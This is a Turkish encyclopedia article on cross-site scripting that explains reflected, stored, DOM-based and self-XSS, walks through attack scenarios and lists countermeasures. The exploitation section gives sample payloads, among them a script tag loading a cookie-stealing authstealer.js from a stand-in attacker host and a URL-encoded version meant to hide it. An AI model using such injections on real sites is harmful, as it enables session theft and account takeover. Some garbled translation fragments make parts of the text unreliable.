Siteler arası betik çalıştırma

Siteler arası betik çalıştırma (İngilizce: Cross-Site Scripting, kısa adıyla XSS), genellikle web uygulamalarında görülen, genellikle HTML enjeksiyonu zafiyetiyle birlikte ortaya çıkan veya Java Script kullanan bazı aplikasyonlarda bulunan bir güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı Java Script kodunun enjekte edilmesine imkân verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak ve hedef adresin oturum katmanını ele geçirmek için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec'in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84'ünü oluşturmaktadır.[1] Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Arka plan

Web güvenliği, aynı kök politikası gibi güven unsurunun temelinde yatan mekanizmalar gibi pek çok mekanizmaya bağlıdır. Aynı kök politikası basitçe, eğer bir siteye (https://mybank.example1.com) ait içeriğe başka bir sistem üzerindeki kaynaklara erişim yetkisi verilmişse, bu siteye ait herhangi bir içeriğin de bu izinleri paylaşacağı ancak başka bir siteye (https://othersite.example2.com) ait içeriğin erişim için ayrıca izin alması gerektiğini ifade etmektedir.[2]

Siteler arası betik çalıştırma saldırıları, web tabanlı uygulamalardaki, bunların sunucularındaki veya gereksinim duydukları pluginlerdeki bilinen açıklıkları kullanmaktadır. Bunlardan birisini istismar ederek, saldırganlar zafiyet içeren siteden gelen içeriğin içerisine kötücül içeriği eklemektedir. Oluşan birleştirilmiş içerik istemci tarafındaki web tarayıcısına eriştiğinde, tamamı güvenilir kaynaktan alınmış olduğu için sisteme verilen izinlerle çalışmaktadır. Web sayfalarına kötücül betikleri enjekte etmenin yolunu bularak, saldırgan hassas sayfa içeriğine, oturum çerezlerine ve kullanıcı adına tarayıcı tarafından yönetilen diğer pek çok bilgiye yükseltilmiş erişim yetkileri elde edebilir. Siteler arası betik çalıştırma saldırıları, bir kod enjeksiyonu çeşididir.[kaynak belirtilmeli]

Microsoft siber güvenlik mühendisleri, "siteler arası betik çalıştırma" ifadesini Ocak 2000'de ortaya çıkarmıştır.[3] "Siteler arası betik çalıştırma" ifadesi ilk olarak, hedeflenen alan adının güvenlik bağlamında saldırganın hazırladığı JavaScript kod parçasının çalıştırılabileceği bir şekilde, alakasız bir saldırgan sitesine ait veya ele geçirilmiş üçüncü parti bir web uygulamasının (yansıtılmış veya kalıcı olmayan bir XSS açıklığını kullanarak) yüklenmesini ifade ediyordu. Bu tanım daha sonra, bilgi güvenliği alanına yeni katılanlar için bir karışıklığa neden olacak şekilde, kalıcı ve JavaScript olamayan vektörleri (ActiveX, Java, VBScript, Flash veya HTML betikleri) de dahil edecek şekilde diğer kod enjeksiyonu türlerini de içerecek şekilde genişletilmiştir.[4]

XSS açıklıkları, 1990'lardan beri raporlanmakta ve istismar edilmektedir. Geçmişte etkilenmiş önemli siteler arasında Twitter,[5] Facebook,[6] MySpace, YouTube ve Orkut gibi sosyal medya siteleri bulunmaktadır.[7][8] Siteler arası betik çalıştırma açıklıkları bu yüzden ara bellek taşması açıklığını geçerek en yaygın şekilde raporlanan güvenlik açıklığı olmuştur.[9] 2007 yılında bazı araştırmacılar, web sitelerinin %68'inin XSS saldırılarına karşı açık olduğunu belirtmiştir.[10]

Çeşitleri

Siteler arası betik çalıştırma açıklıklarının standartlaştırılmış tek bir sınıflandırması bulunmamaktadır, ancak uzmanların çoğunluğu en azından 2 ayrı sınıfa ayırmaktadır: kalıcı olmayan ve kalıcı. Bazı kaynaklar, geleneksel (sunucu tarafındaki kod kusurlarından kaynaklanan) ve DOM-tabanlı (istemci tarafındaki kod içerisinde) olarak iki ayrı gruba daha ayırmaktadır.

Yansıtılmış (kalıcı olmayan)

Örnek bir kalıcı olmayan XSS açıklığı
Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.[11]

Kalıcı olmayan (veya yansıtılmış) siteler arası betik çalıştırma açıklığı en temel web açıklığıdır.[12] Bu açıklık, web istemcisi tarafından, en yaygın olarak HTTP sorgu parametreleri üzerinden (örn. HTML formlarından), sağlanan veri, kullanıcı için bir sonuç sayfası göstermek ve oluşturmak için sunucu taraflı betikler tarafından düzgün bir şekilde sterilize edilmeden hızlıca kullanıldığında ortaya çıkmaktadır.[13]

HTML dokümanları kontrol ifadelerini, formatlamayı ve gerçek içeriği içeren düz ve seri bir yapıya sahip olduğu için, düzgün bir HTML kodlaması olmadan sayfada yer alan kullanıcının sağladığı geçerlenmemiş veri, markup enjeksiyonuna yol açabilmektedir. Potansiyel bir vektör örneği web sitesi arama motorudur: eğer birisi bir metin için arama yaparsa, arama metni, neyin aratıldığını belirtmek amacıyla hiçbir değişikliğe uğramadan sayfada tekrar gösterilmektedir. Eğer cevap paketi HTML kontrol karakterlerini filtrelemiyorsa veya reddetmiyorsa, bir siteler arası betik çalıştırma zafiyeti de beraberinde gelecektir.[14]

Yansıtılmış bir saldırı, genelde e-posta veya bir web sayfası üzerinden yapılmaktadır. Yem, XSS vektörü içeren ve güvenilir bir siteye işaret eden, masum görünümlü bir URL'dir. Eğer güvenilir site XSS vektörüne karşı korumasızsa, linke tıklanması kurban tarayıcısının enjekte edilen betiği çalıştırmasına yol açmaktadır.

Kalıcı

Örnek bir kalıcı XSS açıklığı
A persistent cross-zone scripting vulnerability coupled with a computer worm allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on MySpace.[15]

Kalıcı (veya depolanmış) XSS açıklığı, siteler arası betik çalıştırma açıklığının en yıkıcı çeşididir. Saldırgan tarafından sağlanan veri sunucuda saklandığında ve sonrasında diğer kullanıcıların düzenli gezinimi sırasında "normal" sayfa üzerinde kalıcı olarak gösterildiğinde ortaya çıkmaktadır.  Tipik bir örneği, kullanıcıların diğer kullanıcıların okuması için HTML formatında mesajlar göndermesine izin veren çevrimiçi mesajlaşmadır.

Örnek olarak, üyelerin ilgilerini çekebilecek diğer üyeleri bulmak için diğer üyelerin profillerini tarayabildikleri bir randevu sitesini düşünelim. Gizlilik nedeniyle, site herkesin gerçek adını ve e-posta adreslerini gizli tutmaktadır. Bu veriler sunucuda gizli olarak tutulmaktadır. Bir üyenin gerçek adının ve e-posta adresinin tarayıcı üzerinde gözüktüğü tek zaman üye giriş yaptığında olmaktadır ve başka hiçbir kimsenin bilgilerini görememektedirler.

Bir saldırganın, Mallory'nin, siteye katıldığını ve sitede gördüğü insanların gerçek isimlerini öğrenmek istediğini varsayalım. Bunu yapabilmek için, diğer kullanıcıların tarayıcısında kendi profiline baktıklarında çalışacak bir betik yazar. Betik daha sonra bu bilgileri toplayan Mallory'e ait bir sunucuya mesaj gönderir.

Bunu yapabilmek için, "Sizin için ideal ilk randevuyu tanımlayınız" sorusuna Mallory (normal gözükecek) kısa bir cevap verir, ancak cevabının sonuna isimleri ve e-posta adreslerini çalmak için yazdığı betiği ekler. Eğer betik <script> etiketleri içerisine alınmışsa ekranda gözükmeyecektir. Sonrasında başka bir üye olan Bob'un Mallory'nin profiline baktığını varsayalım. Betik otomatik olarak tarayıcı tarafından çalıştırılacak ve Bob'un gerçek adı ve e-posta adresini doğrudan onun makinesi aracılığıyla çalacaktır.

Kalıcı XSS açıklıkları, saldırganın kötücül betiği bireysel olarak kurbanların hedeflenmesine veya üçüncü parti bir siteyi kullandırtmaya gerek olmadan otomatik olarak çalıştırıldığı için diğer türlere göre çok daha önemlidir. Özellikle sosyal ağ sitelerinde, kod istemci taraflı bir solucan türü oluşturarak hesaplar arasında kendisini yayacak şekilde tasarlanabilmektedir.[16]

Enjeksiyon yöntemleri çok farklı olabilir; bazı durumlarda saldırgan böyle bir açıklığı istismar etmek için doğrudan web uygulaması ile etkileşime geçmeye ihtiyaç duymayabilmektedir. Saldırgan tarafından kontrol edilebilen ve web uygulaması tarafından alınan herhangi bir veri (e-posta, sistem logları, IM vb. üzerinden), enjeksiyon vektörü olabilmektedir.

Sunucu taraflı ve DOM-tabanlı açıklıkları

Örnek bir DOM-tabanlı XSS açıklığı
Before the bug was resolved, Bugzilla error pages were open to DOM-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.[17]

Tarihsel olarak XSS açıklıkları ilk olarak, tüm veriyi sunucu tarafında işleyen uygulamalarda bulunmaktaydı. Kullanıcı girdisi (XSS vektörleri dahil) sunucuya gönderilmekte ve sonrasında kullanıcıya web sayfası olarak geri gelmekteydi. Geliştirilmiş bir kullanıcı deneyimine olan ihtiyaç, AJAX kullanarak sunucudan ihtiyacı olduğunda veri çeken ve istemci tarafında çalışan bir sunum katmanı mantığına (JavaScript ile yazılabilir) sahip uygulamaların yaygınlaşmasına neden oldu.

JavaScript de kullanıcı girdisini işlediği ve web sayfası içeriğinde gösterdiği için, DOM-tabanlı siteler arası betik çalıştırma açıklığı olarak isimlendirilen yeni bir yansıtılmış XSS sınıfı oluştu. Bir DOM tabanlı XSS saldırısında, kötücül veri web sunucusuna ulaşmamaktadır. Bunun yerine, tamamen istemci tarafında olacak şekilde JavaScript kodu tarafından yansıtılmaktadır.[18]

Örnek bir DOM tabanlı XSS açıklığı, 2011 yılında pek çok JQuery eklentisinde bulunan açıklıktır.[19] DOM tabanlı XSS saldırıları için önleme stratejileri, geleneksel XSS önleme yöntemlerine çok benzerdir ancak JavaScript kodu içerisinde uygulanmaktadır ve web sayfaları içerisinde bulunmaktadır (örn. girdi denetimi ve sterilizasyon).[20] Bazı JavaScript çerçeveleri bu ve diğer türdeki saldırılara karşı dahili önlemlere sahiptir — örneğin Angular.js.[21]

Self-XSS

Self-XSS, kurbanı kötücül JavaScript kodunu tarayıcısında çalıştırmaya ikna etmeye çalışan ve sosyal mühendisliğe dayanan bir XSS açıklık çeşididir. Sosyal mühendislik yöntemleriyle kullanıcının kod çalıştırmasını sağlamaya dayandığı için teknik olarak bir XSS açıklığı olmasa da, düzgün bir şekilde yapıldığında normal bir XSS açıklığıyla aynı risklere sahip olmaktadır.[22]

İstismar Örnekleri

Siteler arası betik çalıştırma açıklıklarını istismar etmek isteyen saldırganlar, her bir açıklık sınıfına farklı şekillerde yaklaşmalıdır. Her bir sınıf için özel bir saldırı vektörü burada açıklanacaktır. Aşağıdaki isimler, bilgisayar güvenliğinde yaygın olarak kullanılan Alice-Bob isimlendirmesinden alınan teknik terimlerdir.

Tarayıcı İstismar Çerçeve Yazılımı (Browser Exploitation Framework) web sayfasına ve kullanıcının yerel ortamına saldırmak için kullanılabilmektedir.

Kalıcı olmayan

  1. Alice sık sık Bob tarafından host edilen bir web sitesini ziyaret etmektedir. Bob'un sitesi, Alice'in bir kullanıcı adı ve parola çiftiyle giriş yapmasına ve faturulandırma bilgisi gibi hassas verileri saklamasına izin vermektedir. Bir kullanıcı oturum açtığında, tarayıcı bir Authorization çerezi tutmakta ve böylece her iki bilgisayar (sunucu ve istemci) kullanıcının giriş yaptığını hatırlamaktadır.
  2. Mallory, Bob'un sitesinin yansıtılmış bir XSS açıklığına sahip olduğunu gözlemler:
    1. Arama sayfasını ziyaret ettiğinde, bir arama terimini arama kutusuna girdi olarak sağlar ve kaydet butonuna basar. Eğer hiçbir sonuç bulunamazsa, sayfa "not found" ifadesinin önüne arama terimini ekleyerek gösterir ve URL  http://bobssite.org?q=arama_terimi.
    2. "puppies" gibi normal bir arama sorgusuyla, sayfa sadece "puppies not found" ifadesini göstermekte ve URL "http://bobssite.org?q=puppies" olmaktadır.
    3. Ancak, "​html4strict​" gibi normal olmayan bir arama sorgusu gönderdiğinde:
      1. ("xss" yazan) Bir uyarı kutusu görünür.
      2. Sayfa 'xss' ifadesi ile ilgili bir hata mesajı ile beraber "​html4strict​ not found," ifadesini gösterir.
      3. Url "http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script> olmaktadır - ki bu da istismar edilebilecek bir davranıştır.
  3. Mallory açıklığı istismar etmek için bir URL oluşturur:
    1. http://bobssite.org?q=yavru<script%20src="http://mallorysevilsite.com/authstealer.js"></script> URL'ini oluşturur. Ayrıca http://bobssite.org?q=yavru%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E gibi ASCII karakterlerini on altılı sayı sistemi formatına çevirebilir, böylece normal kullanıcılar kötücül URL'i hemen anlayamazlar.[23]
    2. "Şu sevimli kediciklere bakın" mesajıyla, Bob'un sitesinde üye olan ve şüphelenmeyecek bazı üyelere e-posta atar.
  4. Alice e-postayı alır. Kedileri sevdiği için linke tıklar. Bob'un sitesinde arama yapar, "puppies not found" ifadesini görür, ancak (ekranda gözükmeyen) script etiketi çalışır ve Mallory'nin authstealer.js programını yükler ve çalıştırır. Alice bunu unutur ve devam eder.
  5. Authstealer.js programı Alice'in tarayıcısında sanki Bob'un sitesinin bir parçası gibi çalışır. Alice'in Authorization çerezininin kopyasını alır ve Mallory'nin sunucusuna yollar.
  6. Mallory, Alice'in Authorization çerezini sanki kendisinkiymiş gibi tarayıcısına ekler. Sonrasında Bob'un sitesine gider ve Alice olarak giriş yapmış olur.
  7. Mallory sitenin Faturalandırma kısmına gider ve Alice'in kredi kartı numarasını öğrenir. Sonrasında parolayı değiştirme ekranına gidip parolayı değiştirir ve böylece Alice kendi hesabına giriş yapamaz.
  8. Saldırıyı bir adım daha geliştirerek, benzer bir şekilde oluşturulmuş bir linki Bob'a gönderir ve böylece Bob'un sitesi üzerinde yönetici yetkilerine sahip olur.

Bu saldırıyı engellemek için aşağıdaki birkaç önlem alınabilir:

  1. Arama girdisi, uygun kodlama kontrolünü içerecek şekilde sterilize edilebilir.
  2. Web sunucusu geçersiz istekleri yönlendirecek şekilde ayarlanabilir.
  3. Web sunucusu eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
  4. Web sunucusu iki farklı IP adresinden eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
  5. Web sitesi daha önce kullanılan kredi kartı numarasının sadece birkaç hanesini gösterebilir.
  6. Web sitesi kullanıcıların kayıt bilgilerini değiştirmeden önce tekrar parolalarını girmelerini gerektirebilir.
  7. Web sitesi İçerik Güvenlik Politikası'nın pek çok farklı yönünü kullanabilir.
  8. Kullanıcılar, "tehlikesiz gözüken" ancak kötücül olan linklere tıklamamaları konusunda eğitilebilir.
  9. Çerez HttpOnly bayrağı ile işaretlenerek JavaScript'in çereze erişimi engellenebilir.

Kalıcı saldırı

  1. Mallory Bob'un sitesinde bir hesap oluşturur.
  2. Mallory Bob'un sitesinin bir depolanmış XSS açıklığı bulundurduğunu tespit eder.  Haberler kısmına gider ve bir yorum eklerse, yorum olarak yazdığı her şey sayfada tekrar gösterilmektedir. Ama, eğer yorum içerisinde HTML etiketleri içeriyorsa, etiketler olduğu gibi gösterilmekte ve herhangi bir script etiketi çalıştırılmaktadır.
  3. Mallory Haberler bölümünde bir haber okur ve alttaki Yorumlar kısmına bir yorum yazar. Yorum kısmına şu ifadeyi ekler: Buradaki kedilere bayılıyorum! Çok tatlılar! <script src="http://mallorysevilsite.com/authstealer.js">
  4. Alice (veya başka birisi) sayfayı bu yorumla birlikte yüklediğinde, Mallory'nin script etiketi çalışır ve Alice'in oturum çerezini çalar ve sonrasında Mallory'nin gizli sunucusuna gönderir.[23]
  5. Mallory böylece Alice'in oturumunu çalabilir ve Alice'miş gibi davranabilir.[24]

Bob'un web sitesi yazılımı, script etiketlerini kaldırmalı veya çalışamaz hale getirmek için bir şey yapmalıydı, ancak güvenlik açıklığı zaten yapmamış olmamasından kaynaklanmaktadır.

Önleyici tedbirler

Metin girdilerinin bağlamsal çıktı kodlaması/çevirimi

Bağlamsal çıktı kodlama/çevirimi, XSS saldırılarını durdurmak icing kullanılan birincil savunma mekanizmasıdır. Güvenilmeyen metinlerin HTML dokümanı içerisinde nereye konulacağına bağlı olarak kullanılabilecek HTML varlık çevirimi, JavaScript çevirimi, CSS çevirimi ve URL kodlaması gibi pek çok farklı çevirim yöntemi bulunmaktadır.[25] Zengin veri formatını kullanması gerekmeyen pek çok web uygulaması, basit bir şekilde XSS saldırıları riskini büyük ölçüde ortadan kaldırmak için kodlamayı/çevirimi kullanabilir.

Yaygın olarak tavsiye edilse de, saddle beş XML özel karakteri üzerinde HTML varlık kodlamasının kullanılması pek çok XSS saldırısı vektörünün engellemesinde yetersiz kalmaktadır. Kodlama genelde zor olduğu için, güvenlik için geliştirilmiş kodlama kütüphanelerinin kullanımı genellikle daha kolay bir çözüm olmaktadır.

Güvenli bir şekilde HTML girdisinin geçerlenmesi

Web uygulamalarının pen çoğu (örn. formula ve webmail) kullanıcıların belirli bir HTML etiketi setini kullanmalarına izin vermektedir. Kullanıcıdan HTML girdisi (örn. <b>çok</b>) alınırken, çıktı kodlaması (örn. <b>very</b> büyük), kullanıcı girdisi tarayıcı tarafından HTML girdisi olarak yorumlanması gerektiğinden ("<b>çok</b> büyük" şeklinde göstermek yerine "çok büyük" şeklinde göstermesi) yeterli olmamaktadır. will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Kullanıcıdan HTML girdisi alınırken XSS saldırılarının durdurulabilmesi çok daha karmaşık bir durumdur. Güvenilmeyen HTML girdisi, herhangi bir XSS kodu içermediğinden emin olunabilmesi için bir HTML sterilizasyon motorundan geçmelidir.

Pek çok geçerleme yöntemi, aşağıdaki gibi bazı "riskli" html etiketlerinin kaldırılmasına (kara liste uygulama) dayanmaktadır: Bu yaklaşım ile ilgili pek çok sorun bulunmaktadır. Örneğin, başarılı bir şekilde kullanıldığında XSS saldırısı ile sonuçlanabilecek bazı görünürde zararsız etiketlerin bırakılması.

(aşağıdaki örneğe bakınız) 

<img src="javascript:alert(1)">

Diğer bir yaygın yöntem ise " ve ' işaretlerinin kullanıcı girdisinden çıkarılmasıdır. Ancak, bu da veri Gizleme (Obfuscation) ile gizlenebileceği için atlatılabilmektedir.

Çerez güvenliği

İçerik filtreleme dışında, siteler arası betik çalıştırma önlemleri için başka kesin çözüm getirmeyen yöntemler de yaygın olarak kullanılmaktadır. Bir örneği, çerez tabanlı kullanıcı kimlik doğrulaması yapılırken ilave güvenlik kontrollerinin uygulanmasıdır.  Çoğu web uygulaması bireysel HTTP istekleri arasında kimlik doğrulaması yapabilmek için oturum çerezlerini kullanmaktadır ve istemci taraflı betikler genelde bu çerezlere erişebildiği için basit XSS istismarları bu çerezleri çalabilmektedir.[26] Bu tehdidi ortadan kaldırmak için (genel olarak XSS problemini çözmese de), çoğu web uygulaması başta giriş yapan kullanıcının IP adresi ile oturum çerezlerini ilişkilendirmekte ve sonrasında o çerezi sadece belirlediği IP adresinin kullanmasına izin vermektedir.[27] Çoğu senaryoda (eğer saldırgan sadece çerezin peşinde ise) bu başarılı olmaktadır, ancak saldırganın kurbanla aynı NATlanmış IP adresini veya vekil sunucuyu kullandığı durumlarda veya kurbanın mobil IP adresini değiştirdiği durumlarda geçerli olmamaktadır.

Internet Explorer (versiyon 6 ve sonrası), Firefox (versiyon 2.0.0.5 ve sonrası), Safari (web tarayıcı) (versiyon 4 ve sonrası), Opera (versiyon 9.5 ve sonrası) ve Google Chrome'da bulunan bir diğer önleyici mekanizma da, istemci taraflı betiklere karşı bir çerezi erişilemez kılan HttpOnly bayrağıdır. Faydalı olsa da, bu özellik ne çerezin çalınmasını ne de tarayıcı içerisindeki saldırıları engellemektedir.[28]

Betikleri devre dışı bırakmak

Web 2.0 ve Ajax geliştiricileri JavaScript kullanımını gerekli kılsa da,[29] bazı web uygulamaları herhangi bir istemci taraflı betiğin çalışmasına ihtiyaç duymadan çalışacak şekilde yazılmıştır.[30] Bu durum kullanıcıların, eğer torch ederlerse, uygulamayı kullanmadan önce tarayıcılarında betik çalıştırılmasını devre dışı bırakmalarına izin vermektedir. Bu şekilde, kötücül olması olası istemci taraflı betikler bile sterilize edilmeden sayfa içerisine eklenebilir ve kullanıcılar XSS açıklıklarına karşı korumasız kalmaz.

Bazı tarayıcılar veya tarayıcı eklentileri, alan adı seviyesinde istemci taraflı betiklerin çalışmasını engelleyecek şekilde yapılandırılabilir. Bu yaklaşım tamamen geçerli bir yaklaşım değildir, çünkü betik çalıştırma varsayılan olarak aktifse, kullanıcı sitenin kötücül olduğunu anladıktan yani iş işten geçtikten sonra engellenebilmektedir.  Varsayılan olarak tüm betik çalıştırmayı engelleyen ve sonrasında kullanıcının alan adları için aktif hale getirilebilmesine izin veren yaklaşım çok daha etkilidir. Bu Internet Explorer (versiyon 4 ve üstü) üzerinde "Security Zones" ayarları ile[31] ve Opera(versiyon 9 ve üstü) üzerinde "Site Specific Preferences" ayarları ile[32] yapılabilmektedir. Firefox ve Gecko tabanlı tarayıcılar için bir çözüm de açık kaynak kodlu NoScript eklentisidir. Bu eklenti alan adı bazında betikleri aktif edebilmesine ek olarak betikler aktif edildiğinde de bir takım XSS koruma mekanizması uygulamaktadır.[33]

Varsayılan olarak tüm sitelerde betikleri devre dışı bırakmakla ilgili en önemli sorun, işlevsellik ve cevap vermedeki önemli azalıştır (istemci taraflı betik çalıştırma, uzak bir sunucuya bağlantı kurma gereksinimi duymadığı için, sunucu taraflı betik çalıştırmaya göre hızlıdır).[34] Betiklerin devre dışı bırakılmasıyla ilgili bir diğer sorun da, çoğu kullanıcının bunu anlamaması ve tarayıcılarını uygun bir şekilde nasıl güvenli yapacaklarını bilmemesidir. Bir diğer dezavantajı da, çoğu sitenin istemci taraflı betikler olmadan çalışmaması ve kullanıcıları bu özelliği devre dışı bırakmaya zorlaması ve sistemlerini açıklıklara açmasıdır.[35] Firefox NoScript eklentisi, kullanıcının verilen bir sayfa üzerinde belirli betiklere izin vermesini aynı sayfadaki diğerlerini engellemesine izin vermektedir. Örneğin, example.com sitesine ait betiklere izin verilebilirken, aynı sayfa üzerinde çalışmayı deneyen reklamajansi.com sitesine ait betikler devre dışı bırakılabilir.[36]

Gelişmekte olan savunma teknolojileri

Gelişmekte olan üç sınıf XSS savunması bulunmaktadır. Bunlar İçerik Güvenlik Politikası'nı,[37] JavaScript mum havuzu araçlarını ve otomatik çevirim taslaklarını içermektedir. Bu mekanizmalar hala gelişmektedir, ancak XSS saldırılarının meydana geliş sıklığını büyük oranda düşürmeyi vadetmektedir.

Tarama hizmeti

Bazı şirketler, saldırının başarılı olup olmadığını test etmek için kendi sunucularından müşterininkine bir saldırı simüle ederek, periyodik bir tarama hizmeti sunmaktadır. Eğer saldırı başarılı olursa, müşteriye nasıl yapıldığına dair detaylı bilgi içeren bir rapor verilmekte ve müşteri başka birisi aynı saldırıyı yapmadan önce açıklığı kapatma şansı elde etmektedir.  Güncel bir testi geçen site üzerinde güvenilirlik işareti gösterilebilir. Tarama aracı tüm olası açıklıkları bulamayabilir,[38] ve bu yüzden güvenilirlik işaretine sahip siteler hala yeni saldırı türlerine karşı açık olabilir. Ancak tarama bazı problemleri tespit edebilir. Müşteri bu sorunları çözdükten sonra, site bu hizmet alınmadan önceki haline göre daha güvenli olmaktadır. XSS açıklıklarına karşı tam bir koruma gerektiren siteler için, kaynak kod analizi gibi değerlendirme yöntemleri gerekmektedir. İlave olarak, eğer JavaScript sayfa üzerinde çalışıyorsa, güvenilirlik işareti, işaretin statik bir kopyası ile taklit edilebilir. (bu yüzden, teoride, bu tür bir hizmet XSS risklerini ortadan kaldırmak için yeterli olmayacaktır).

İlgili güvenlik açıklıkları

Bir Global Siteler Arası Betik Çalıştırma (UXSS Vera Global XSS) saldırısında, tarayıcı içerisindeki açıklıklar istismar edilmektedir (XSS saldırılarında olduğu gibi diğer web sitelerindeki açıklıklar yerine). Bu tür saldırılar yaygın olarak Anonymous tarafından bir ağın kontrolünü ele geçirmek için DDoS'a ile beraber yapılmaktadır.[39]

Farklı açıklık kategorileri veya saldırı teknikleri XSS ile ilgilidir: cross-zone scripting saldırısı bazı tarayıcılardaki "zone" mantığını istismar etmekte ve genelde daha yüksek yetkilerle kod çalıştırmaktadır.[40] HTTP Başlık Enjeksiyonu, HTTP protokolü seviyesindeki kodlama problemlerinden ötürü (HTTP yanıt bölme saldırısı gibi saldırıları mümkün kılmasına ek olarak) siteler arası betik çalıştırma şartlarının oluşturulmasında kullanılabilmektedir.[41]

Siteler arası istek sahteciliği (CSRF/XSRF) neredeyse XSS'in zıddı sayılabilir. Çünkü, kullanıcının siteye olan güvenini istismar etmek yerine, saldırgan (ve onun kötücül sayfası), kimliği doğrulanmış kullanıcıların bilinçli eylemlerini temsil ettiğine inandığı istekleri yollayarak sitenin istemci yazılımına olan güvenini istismar etmektedir.[42] XSS açıklıkları (aynı Alan adı üzerinde çalışan diğer uygulamalardakiler dahil) saldırganların CSRF tedbirlerini atlatabilmesine izin vermektedir.[43]

Gizli yönlendirme, XSS Vera Açık Yönlendirme saldırılarına karşı korumasız olan üçüncü parti istemcilerden faydalanmaktadır.[44] Normal oltalama girişimleri kolayca tespit edilebilir, çünkü kötücül sayfanın URL bilgisi genelde gerçek site isminden birkaç harf uzakta olacaktır. Gizli yönlendirmenin farkı, saldırganın kötücül bir giriş diyalog kutusu ile site içeriğini bozarak gerçek siteyi kullanmasıdır.[45]

Son olarak, SQL Enjeksiyonu bir uygulamanın veri tabanı katmanındaki bir açıklığı istismar etmektedir. Kullanıcı girdisi yanlış bir şekilde filtrelendiğinde, herhangi bir SQL ifadesi uygulama tarafından çalıştırılabilmektedir.[46][47]

Ayrıca bakınız

Kaynakça

  1. ^ During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). Cilt XIII. Symantec Corp. Nisan 2008. ss. 1-3. 25 Haziran 2008 tarihinde kaynağından (PDF) arşivlendi. Erişim tarihi: 11 Mayıs 2008. 
  2. ^ "Same Origin Policy - Web Security. W3.org". 27 Ocak 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 4 Kasım 2014. 
  3. ^ "dross" on MSDN (15 Aralık 2009). "Happy 10th birthday Cross-Site Scripting!". 30 Mayıs 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 19 Mart 2016. On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting. 
  4. ^ Grossman, Jeremiah (30 Temmuz 2006). "The origins of Cross-Site Scripting (XSS)". 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 15 Eylül 2008. 
  5. ^ Arthur, Charles (21 Eylül 2010). "Twitter users including Sarah Brown hit by malicious hacker attack". The Guardian. 16 Ekim 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 21 Eylül 2010. 
  6. ^ Leyden, John (23 Mayıs 2008). "Facebook poked by XSS flaw". The Register. 11 Ekim 2011 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008. 
  7. ^ "Full List of Incidents". Web Application Security Consortium. 17 Şubat 2008. 21 Ekim 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008. 
  8. ^ Dignan, Larry (21 Nisan 2008). "Obama site hacked; Redirected to Hillary Clinton". ZDNet. 27 Mart 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008. 
  9. ^ Christey, Steve; Martin, Robert A. (22 Mayıs 2007). "Vulnerability Type Distributions in CVE (version 1.1)". MITRE Corporation. 3 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  10. ^ Berinato, Scott (1 Ocak 2007). "Software Vulnerability Disclosure: The Chilling Effect". CSO. CXO Media. s. 7. 18 Nisan 2008 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008. 
  11. ^ Amit, Yair (21 Aralık 2005). "Google.com UTF-7 XSS Vulnerabilities". Watchfire. 13 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 29 Mayıs 2008. 
  12. ^ Paco, Hope; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. s. 128. ISBN 978-0-596-51483-9. 
  13. ^ "Cross-site Scripting". Web Application Security Consortium. 2005. 1 Haziran 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008. 
  14. ^ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract). Elsevier Science & Technology via Google Book Search. ss. 70, 156. ISBN 1-59749-154-3. 1 Aralık 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008. 
  15. ^ This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in "JS/Ofigel-A". Sophos. 2 Ağustos 2009 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008.  and "F-Secure Malware Information Pages: JS/Quickspace.A". F-Secure. 5 Ocak 2007. 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008.  and "JS.Qspace". Symantec Corp. 13 Şubat 2007. 24 Eylül 2015 tarihinde kaynağından arşivlendi. Erişim tarihi: 5 Haziran 2008. 
  16. ^ Viruses and worms in Alcorn, Wade (27 Eylül 2005). "The Cross-site Scripting Virus". BindShell.net. 23 Ağustos 2014 tarihinde kaynağından arşivlendi. Erişim tarihi: 27 Mayıs 2008. 
